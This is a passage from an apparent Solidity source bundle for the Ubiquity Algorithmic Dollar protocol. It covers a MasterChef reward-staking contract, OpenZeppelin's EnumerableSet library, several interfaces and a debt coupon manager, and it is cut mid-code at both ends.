minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier;\n }\n\n // Deposit LP tokens to MasterChef for uGOV allocation.\n function deposit(\n address to,\n uint256 _amount,\n uint256 _bondingShareID\n ) external onlyBondingContract {\n BondingShareInfo storage bs = _bsInfo[_bondingShareID];\n _updatePool();\n if (bs.amount > 0) {\n uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) -\n bs.rewardDebt;\n _safeUGOVTransfer(to, pending);\n }\n bs.amount += _amount;\n bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12;\n _totalShares += _amount;\n emit Deposit(to, _amount, _bondingShareID);\n }\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(\n address to,\n uint256 _amount,\n uint256 _bondingShareID\n ) external onlyBondingContract {\n BondingShareInfo storage bs = _bsInfo[_bondingShareID];\n require(bs.amount >= _amount, \"MC: amount too high\");\n _updatePool();\n uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) -\n bs.rewardDebt;\n // send UGOV to Bonding Share holder\n\n _safeUGOVTransfer(to, pending);\n bs.amount -= _amount;\n bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12;\n _totalShares -= _amount;\n emit Withdraw(to, _amount, _bondingShareID);\n }\n\n /// @dev get pending uGOV rewards from MasterChef.\n /// @return amount of pending rewards transfered to msg.sender\n /// @notice only send pending rewards\n function getRewards(uint256 bondingShareID) external returns (uint256) {\n require(\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\n msg.sender,\n bondingShareID\n ) == 1,\n \"MS: caller is not owner\"\n );\n\n // calculate user reward\n BondingShareInfo storage user = _bsInfo[bondingShareID];\n _updatePool();\n uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) -\n user.rewardDebt;\n _safeUGOVTransfer(msg.sender, pending);\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\n return pending;\n }\n\n // View function to see pending uGOVs on frontend.\n function pendingUGOV(uint256 bondingShareID)\n external\n view\n returns (uint256)\n {\n BondingShareInfo storage user = _bsInfo[bondingShareID];\n uint256 accuGOVPerShare = pool.accuGOVPerShare;\n uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress())\n .totalSupply();\n\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\n uint256 multiplier = _getMultiplier();\n\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\n accuGOVPerShare =\n accuGOVPerShare +\n ((uGOVReward * 1e12) / lpSupply);\n }\n\n return (user.amount * accuGOVPerShare) / 1e12 - user.rewardDebt;\n }\n\n /**\n * @dev get the amount of shares and the reward debt of a bonding share .\n */\n function getBondingShareInfo(uint256 _id)\n external\n view\n returns (uint256[2] memory)\n {\n return [_bsInfo[_id].amount, _bsInfo[_id].rewardDebt];\n }\n\n /**\n * @dev Total amount of shares .\n */\n function totalShares() external view virtual returns (uint256) {\n return _totalShares;\n }\n\n // UPDATE uGOV multiplier\n function _updateUGOVMultiplier() internal {\n // (1.05/(1+abs(1-TWAP_PRICE)))\n uint256 currentPrice = _getTwapPrice();\n\n bool isPriceDiffEnough = false;\n // a minimum price variation is needed to update the multiplier\n if (currentPrice > lastPrice) {\n isPriceDiffEnough =\n currentPrice - lastPrice > minPriceDiffToUpdateMultiplier;\n } else {\n isPriceDiffEnough =\n lastPrice - currentPrice > minPriceDiffToUpdateMultiplier;\n }\n\n if (isPriceDiffEnough) {\n uGOVmultiplier = IUbiquityFormulas(manager.formulasAddress())\n .ugovMultiply(uGOVmultiplier, currentPrice);\n lastPrice = currentPrice;\n }\n }\n\n // Update reward variables of the given pool to be up-to-date.\n function _updatePool() internal {\n if (block.number <= pool.lastRewardBlock) {\n return;\n }\n _updateUGOVMultiplier();\n uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress())\n .totalSupply();\n if (lpSupply == 0) {\n pool.lastRewardBlock = block.number;\n return;\n }\n uint256 multiplier = _getMultiplier();\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\n address(this),\n uGOVReward\n );\n // mint another x% for the treasury\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\n manager.treasuryAddress(),\n uGOVReward / uGOVDivider\n );\n pool.accuGOVPerShare =\n pool.accuGOVPerShare +\n ((uGOVReward * 1e12) / lpSupply);\n pool.lastRewardBlock = block.number;\n }\n\n // Safe uGOV transfer function, just in case if rounding\n // error causes pool to not have enough uGOVs.\n function _safeUGOVTransfer(address _to, uint256 _amount) internal {\n IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress());\n uint256 uGOVBal = uGOV.balanceOf(address(this));\n if (_amount > uGOVBal) {\n uGOV.safeTransfer(_to, uGOVBal);\n } else {\n uGOV.safeTransfer(_to, _amount);\n }\n }\n\n function _getMultiplier() internal view returns (uint256) {\n return (block.number - pool.lastRewardBlock) * uGOVmultiplier;\n }\n\n function _getTwapPrice() internal view returns (uint256) {\n return\n ITWAPOracle(manager.twapOracleAddress()).consult(\n manager.dollarTokenAddress()\n );\n }\n}\n" - }, - "@openzeppelin/contracts/utils/structs/EnumerableSet.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n * // Add the library methods\n * using EnumerableSet for EnumerableSet.AddressSet;\n *\n * // Declare a set state variable\n * EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n */\nlibrary EnumerableSet {\n // To implement this library for multiple types with as little code\n // repetition as possible, we write it in terms of a generic Set type with\n // bytes32 values.\n // The Set implementation uses private functions, and user-facing\n // implementations (such as AddressSet) are just wrappers around the\n // underlying Set.\n // This means that we can only create new EnumerableSets for types that fit\n // in bytes32.\n\n struct Set {\n // Storage of set values\n bytes32[] _values;\n // Position of the value in the `values` array, plus 1 because index 0\n // means a value is not in the set.\n mapping(bytes32 => uint256) _indexes;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n // The value is stored at length-1, but we add 1 to all indexes\n // and use 0 as a sentinel value\n set._indexes[value] = set._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n // We read and store the value's index to prevent multiple reads from the same storage slot\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) {\n // Equivalent to contains(set, value)\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n // the array, and then remove the last element (sometimes called as 'swap and pop').\n // This modifies the order of the array, as noted in {at}.\n\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._values.length - 1;\n\n if (lastIndex != toDeleteIndex) {\n bytes32 lastvalue = set._values[lastIndex];\n\n // Move the last value to the index where the value to delete is\n set._values[toDeleteIndex] = lastvalue;\n // Update the index for the moved value\n set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex\n }\n\n // Delete the slot where the moved value was stored\n set._values.pop();\n\n // Delete the index for the deleted slot\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\n return set._values[index];\n }\n\n // Bytes32Set\n\n struct Bytes32Set {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n // AddressSet\n\n struct AddressSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(AddressSet storage set, address value) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(AddressSet storage set, address value) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(AddressSet storage set, address value) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n // UintSet\n\n struct UintSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n}\n" - }, - "contracts/interfaces/utils/ICollectableDust.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\ninterface ICollectableDust {\n event DustSent(address _to, address token, uint256 amount);\n event ProtocolTokenAdded(address _token);\n event ProtocolTokenRemoved(address _token);\n\n function addProtocolToken(address _token) external;\n\n function removeProtocolToken(address _token) external;\n\n function sendDust(\n address _to,\n address _token,\n uint256 _amount\n ) external;\n}\n" - }, - "contracts/MasterChef.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"./interfaces/IERC20Ubiquity.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/ITWAPOracle.sol\";\nimport \"./interfaces/IERC1155Ubiquity.sol\";\nimport \"./interfaces/IUbiquityFormulas.sol\";\n\ncontract MasterChef {\n using SafeERC20 for IERC20Ubiquity;\n using SafeERC20 for IERC20;\n // Info of each user.\n struct UserInfo {\n uint256 amount; // How many uAD-3CRV LP tokens the user has provided.\n uint256 rewardDebt; // Reward debt. See explanation below.\n //\n // We do some fancy math here. Basically, any point in time, the amount of uGOVs\n // entitled to a user but is pending to be distributed is:\n //\n // pending reward = (user.amount * pool.accuGOVPerShare) - user.rewardDebt\n //\n // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:\n // 1. The pool's `accuGOVPerShare` (and `lastRewardBlock`) gets updated.\n // 2. User receives the pending reward sent to his/her address.\n // 3. User's `amount` gets updated.\n // 4. User's `rewardDebt` gets updated.\n }\n // Info of each pool.\n struct PoolInfo {\n uint256 lastRewardBlock; // Last block number that uGOVs distribution occurs.\n uint256 accuGOVPerShare; // Accumulated uGOVs per share, times 1e12. See below.\n }\n\n // Ubiquity Manager\n UbiquityAlgorithmicDollarManager public manager;\n\n // uGOV tokens created per block.\n uint256 public uGOVPerBlock = 1e18;\n // Bonus muliplier for early uGOV makers.\n uint256 public uGOVmultiplier = 1e18;\n uint256 public minPriceDiffToUpdateMultiplier = 1000000000000000;\n uint256 public lastPrice = 1 ether;\n // Info of each pool.\n PoolInfo public pool;\n // Info of each user that stakes LP tokens.\n mapping(address => UserInfo) public userInfo;\n\n event Deposit(address indexed user, uint256 amount);\n\n event Withdraw(address indexed user, uint256 amount);\n\n // ----------- Modifiers -----------\n modifier onlyTokenManager() {\n require(\n manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender),\n \"MasterChef: not UBQ manager\"\n );\n _;\n }\n modifier onlyBondingContract() {\n require(\n msg.sender == manager.bondingContractAddress(),\n \"MasterChef: not Bonding Contract\"\n );\n _;\n }\n\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n pool.lastRewardBlock = block.number;\n pool.accuGOVPerShare = 0; // uint256(1e12);\n _updateUGOVMultiplier();\n }\n\n function setUGOVPerBlock(uint256 _uGOVPerBlock) external onlyTokenManager {\n uGOVPerBlock = _uGOVPerBlock;\n }\n\n function setMinPriceDiffToUpdateMultiplier(\n uint256 _minPriceDiffToUpdateMultiplier\n ) external onlyTokenManager {\n minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier;\n }\n\n // Deposit LP tokens to MasterChef for uGOV allocation.\n function deposit(uint256 _amount, address sender)\n external\n onlyBondingContract\n {\n UserInfo storage user = userInfo[sender];\n _updatePool();\n if (user.amount > 0) {\n uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) -\n user.rewardDebt;\n _safeUGOVTransfer(sender, pending);\n }\n user.amount = user.amount + _amount;\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\n emit Deposit(sender, _amount);\n }\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(uint256 _amount, address sender)\n external\n onlyBondingContract\n {\n UserInfo storage user = userInfo[sender];\n require(user.amount >= _amount, \"MC: amount too high\");\n _updatePool();\n uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) -\n user.rewardDebt;\n _safeUGOVTransfer(sender, pending);\n user.amount = user.amount - _amount;\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\n emit Withdraw(sender, _amount);\n }\n\n /// @dev get pending uGOV rewards from MasterChef.\n /// @return amount of pending rewards transfered to msg.sender\n /// @notice only send pending rewards\n function getRewards() external returns (uint256) {\n UserInfo storage user = userInfo[msg.sender];\n _updatePool();\n uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) -\n user.rewardDebt;\n _safeUGOVTransfer(msg.sender, pending);\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\n return pending;\n }\n\n // View function to see pending uGOVs on frontend.\n function pendingUGOV(address _user) external view returns (uint256) {\n UserInfo storage user = userInfo[_user];\n uint256 accuGOVPerShare = pool.accuGOVPerShare;\n uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress())\n .totalSupply();\n\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\n uint256 multiplier = _getMultiplier();\n\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\n accuGOVPerShare =\n accuGOVPerShare +\n ((uGOVReward * 1e12) / lpSupply);\n }\n\n return (user.amount * accuGOVPerShare) / 1e12 - user.rewardDebt;\n }\n\n // UPDATE uGOV multiplier\n function _updateUGOVMultiplier() internal {\n // (1.05/(1+abs(1-TWAP_PRICE)))\n uint256 currentPrice = _getTwapPrice();\n\n bool isPriceDiffEnough = false;\n // a minimum price variation is needed to update the multiplier\n if (currentPrice > lastPrice) {\n isPriceDiffEnough =\n currentPrice - lastPrice > minPriceDiffToUpdateMultiplier;\n } else {\n isPriceDiffEnough =\n lastPrice - currentPrice > minPriceDiffToUpdateMultiplier;\n }\n\n if (isPriceDiffEnough) {\n uGOVmultiplier = IUbiquityFormulas(manager.formulasAddress())\n .ugovMultiply(uGOVmultiplier, currentPrice);\n lastPrice = currentPrice;\n }\n }\n\n // Update reward variables of the given pool to be up-to-date.\n function _updatePool() internal {\n if (block.number <= pool.lastRewardBlock) {\n return;\n }\n _updateUGOVMultiplier();\n uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress())\n .totalSupply();\n if (lpSupply == 0) {\n pool.lastRewardBlock = block.number;\n return;\n }\n uint256 multiplier = _getMultiplier();\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\n address(this),\n uGOVReward\n );\n // mint another 20% for the treasury\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\n manager.treasuryAddress(),\n uGOVReward / 5\n );\n pool.accuGOVPerShare =\n pool.accuGOVPerShare +\n ((uGOVReward * 1e12) / lpSupply);\n pool.lastRewardBlock = block.number;\n }\n\n // Safe uGOV transfer function, just in case if rounding\n // error causes pool to not have enough uGOVs.\n function _safeUGOVTransfer(address _to, uint256 _amount) internal {\n IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress());\n uint256 uGOVBal = uGOV.balanceOf(address(this));\n if (_amount > uGOVBal) {\n uGOV.safeTransfer(_to, uGOVBal);\n } else {\n uGOV.safeTransfer(_to, _amount);\n }\n }\n\n function _getMultiplier() internal view returns (uint256) {\n return (block.number - pool.lastRewardBlock) * uGOVmultiplier;\n }\n\n function _getTwapPrice() internal view returns (uint256) {\n return\n ITWAPOracle(manager.twapOracleAddress()).consult(\n manager.dollarTokenAddress()\n );\n }\n}\n" - }, - "contracts/interfaces/IDebtCoupon.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\";\n\n/// @title A debt coupon which corresponds to a IDebtRedemption contract\ninterface IDebtCoupon is IERC1155 {\n function updateTotalDebt() external;\n\n function burnCoupons(\n address couponOwner,\n uint256 amount,\n uint256 expiryBlockNumber\n ) external;\n\n function mintCoupons(\n address recipient,\n uint256 amount,\n uint256 expiryBlockNumber\n ) external;\n\n function getTotalOutstandingDebt() external view returns (uint256);\n}\n" - }, - "contracts/mocks/MockDebtCoupon.sol": { - "content": "// contracts/GLDToken.sol\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\";\n\ncontract MockDebtCoupon is ERC1155 {\n uint256 private _totalOutstandingDebt;\n\n //@dev URI param is if we want to add an off-chain meta data uri associated with this contract\n constructor(uint256 totalDebt) ERC1155(\"URI\") {\n _totalOutstandingDebt = totalDebt;\n }\n\n function getTotalOutstandingDebt() public view returns (uint256) {\n return _totalOutstandingDebt;\n }\n}\n" - }, - "contracts/BondingShare.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./ERC1155Ubiquity.sol\";\n\ncontract BondingShare is ERC1155Ubiquity {\n // solhint-disable-next-line no-empty-blocks\n constructor(address _manager) ERC1155Ubiquity(_manager, \"URI\") {}\n}\n" - }, - "contracts/interfaces/ISushiMasterChef.sol": { - "content": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ninterface ISushiMasterChef {\n struct UserInfo {\n uint256 amount; // How many LP tokens the user has provided.\n uint256 rewardDebt; // Reward debt. See explanation below.\n }\n struct PoolInfo {\n IERC20 lpToken; // Address of LP token contract.\n uint256 allocPoint; // How many allocation points assigned to this pool.\n uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs.\n uint256 accSushiPerShare; // Accumulated SUSHI per share, times 1e12. See below.\n }\n event Deposit(address indexed user, uint256 indexed pid, uint256 amount);\n event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);\n event EmergencyWithdraw(\n address indexed user,\n uint256 indexed pid,\n uint256 amount\n );\n\n function deposit(uint256 _pid, uint256 _amount) external;\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(uint256 _pid, uint256 _amount) external;\n\n // Update reward vairables for all pools. Be careful of gas spending!\n function massUpdatePools() external;\n\n // Update reward variables of the given pool to be up-to-date.\n function updatePool(uint256 _pid) external;\n\n // Add a new lp to the pool. Can only be called by the owner.\n // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.\n function add(\n uint256 _allocPoint,\n IERC20 _lpToken,\n bool _withUpdate\n ) external;\n\n // Update the given pool's SUSHI allocation point. Can only be called by the owner.\n function set(\n uint256 _pid,\n uint256 _allocPoint,\n bool _withUpdate\n ) external;\n\n // Returns the address of the current owner.\n function owner() external view returns (address);\n\n // Info of each pool.\n function userInfo(uint256 pid, address user)\n external\n view\n returns (ISushiMasterChef.UserInfo memory);\n\n // SUSHI tokens created per block.\n function sushiPerBlock() external view returns (uint256);\n\n // Info of each pool.\n function poolInfo(uint256 pid)\n external\n view\n returns (ISushiMasterChef.PoolInfo memory);\n\n // Total allocation poitns. Must be the sum of all allocation points in all pools.\n function totalAllocPoint() external view returns (uint256);\n\n function poolLength() external view returns (uint256);\n\n // View function to see pending SUSHIs on frontend.\n function pendingSushi(uint256 _pid, address _user)\n external\n view\n returns (uint256);\n}\n\n// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON:\n" - }, - "contracts/DollarMintingCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/IDollarMintingCalculator.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./TWAPOracle.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\n\n/// @title A mock coupon calculator that always returns a constant\ncontract DollarMintingCalculator is IDollarMintingCalculator {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n\n bytes16 private immutable _one = (uint256(1 ether)).fromUInt();\n UbiquityAlgorithmicDollarManager public manager;\n\n /// @param _manager the address of the manager contract so we can fetch variables\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n /// @notice returns (TWAP_PRICE -1) * UAD_Total_Supply\n function getDollarsToMint() external view override returns (uint256) {\n TWAPOracle oracle = TWAPOracle(manager.twapOracleAddress());\n uint256 twapPrice = oracle.consult(manager.dollarTokenAddress());\n require(twapPrice > 1, \"DollarMintingCalculator: not > 1\");\n return\n twapPrice\n .fromUInt()\n .sub(_one)\n .mul(\n (\n IERC20(manager.dollarTokenAddress())\n .totalSupply()\n .fromUInt()\n .div(_one)\n )\n )\n .toUInt();\n }\n}\n" - }, - "contracts/interfaces/IDollarMintingCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\";\n\n/// @title A mechanism for calculating dollars to be minted\ninterface IDollarMintingCalculator {\n function getDollarsToMint() external view returns (uint256);\n}\n" - }, - "contracts/DebtCouponManager.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\";\nimport \"./interfaces/IDebtRedemption.sol\";\nimport \"./interfaces/IUARForDollarsCalculator.sol\";\nimport \"./interfaces/ICouponsForDollarsCalculator.sol\";\nimport \"./interfaces/IDollarMintingCalculator.sol\";\nimport \"./interfaces/IExcessDollarsDistributor.sol\";\nimport \"./TWAPOracle.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"./UbiquityAlgorithmicDollar.sol\";\nimport \"./UbiquityAutoRedeem.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./DebtCoupon.sol\";\n\n/// @title A basic debt issuing and redemption mechanism for coupon holders\n/// @notice Allows users to burn their uAD in exchange for coupons\n/// redeemable in the future\n/// @notice Allows users to redeem individual debt coupons or batch redeem\n/// coupons on a first-come first-serve basis\ncontract DebtCouponManager is ERC165, IERC1155Receiver {\n using SafeERC20 for IERC20Ubiquity;\n UbiquityAlgorithmicDollarManager public manager;\n\n //the amount of dollars we minted this cycle, so we can calculate delta.\n // should be reset to 0 when cycle ends\n uint256 public dollarsMintedThisCycle;\n bool public debtCycle;\n uint256 public blockHeightDebt;\n uint256 public couponLengthBlocks;\n uint256 public expiredCouponConvertionRate = 2;\n event ExpiredCouponConvertionRateChanged(\n uint256 newRate,\n uint256 previousRate\n );\n\n event CouponLengthChanged(\n uint256 newCouponLengthBlocks,\n uint256 previousCouponLengthBlocks\n );\n\n modifier onlyCouponManager() {\n require(\n manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender),\n \"Caller is not a coupon manager\"\n );\n _;\n }\n\n /// @param _manager the address of the manager contract so we can fetch variables\n /// @param _couponLengthBlocks how many blocks coupons last. can't be changed\n /// once set (unless migrated)\n constructor(address _manager, uint256 _couponLengthBlocks) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n couponLengthBlocks = _couponLengthBlocks;\n }\n\n function setExpiredCouponConvertionRate(uint256 rate)\n external\n onlyCouponManager\n {\n emit ExpiredCouponConvertionRateChanged(\n rate,\n expiredCouponConvertionRate\n );\n expiredCouponConvertionRate = rate;\n }\n\n function setCouponLength(uint256 _couponLengthBlocks)\n external\n onlyCouponManager\n {\n emit CouponLengthChanged(_couponLengthBlocks, couponLengthBlocks);\n couponLengthBlocks = _couponLengthBlocks;\n }\n\n /// @dev called when a user wants to burn UAD for debt coupon.\n /// should only be called when oracle is below a dollar\n /// @param amount the amount of dollars to exchange for coupons\n function exchangeDollarsForDebtCoupons(uint256 amount)\n external\n returns (uint256)\n {\n uint256 twapPrice = _getTwapPrice();\n\n require(twapPrice < 1 ether, \"Price must be below 1 to mint coupons\");\n\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n debtCoupon.updateTotalDebt();\n\n //we are in a down cycle so reset the cycle counter\n // and set the blockHeight Debt\n if (!debtCycle) {\n debtCycle = true;\n blockHeightDebt = block.number;\n dollarsMintedThisCycle = 0;\n }\n\n ICouponsForDollarsCalculator couponCalculator = ICouponsForDollarsCalculator(\n manager.couponCalculatorAddress()\n );\n uint256 couponsToMint = couponCalculator.getCouponAmount(amount);\n\n // we burn user's dollars.\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom(\n msg.sender,\n amount\n );\n\n uint256 expiryBlockNumber = block.number + (couponLengthBlocks);\n debtCoupon.mintCoupons(msg.sender, couponsToMint, expiryBlockNumber);\n\n //give the caller the block number of the minted nft\n return expiryBlockNumber;\n }\n\n /// @dev called when a user wants to burn UAD for uAR.\n /// should only be called when oracle is below a dollar\n /// @param amount the amount of dollars to exchange for uAR\n /// @return amount of auto redeem tokens minted\n function exchangeDollarsForUAR(uint256 amount) external returns (uint256) {\n uint256 twapPrice = _getTwapPrice();\n\n require(twapPrice < 1 ether, \"Price must be below 1 to mint uAR\");\n\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n debtCoupon.updateTotalDebt();\n\n //we are in a down cycle so reset the cycle counter\n // and set the blockHeight Debt\n if (!debtCycle) {\n debtCycle = true;\n blockHeightDebt = block.number;\n dollarsMintedThisCycle = 0;\n }\n\n IUARForDollarsCalculator uarCalculator = IUARForDollarsCalculator(\n manager.uarCalculatorAddress()\n );\n uint256 uarToMint = uarCalculator.getUARAmount(amount, blockHeightDebt);\n\n // we burn user's dollars.\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom(\n msg.sender,\n amount\n );\n // mint uAR\n UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem(\n manager.autoRedeemTokenAddress()\n );\n autoRedeemToken.mint(msg.sender, uarToMint);\n\n //give minted uAR amount\n return uarToMint;\n }\n\n /// @dev uses the current coupons for dollars calculation to get coupons for dollars\n /// @param amount the amount of dollars to exchange for coupons\n function 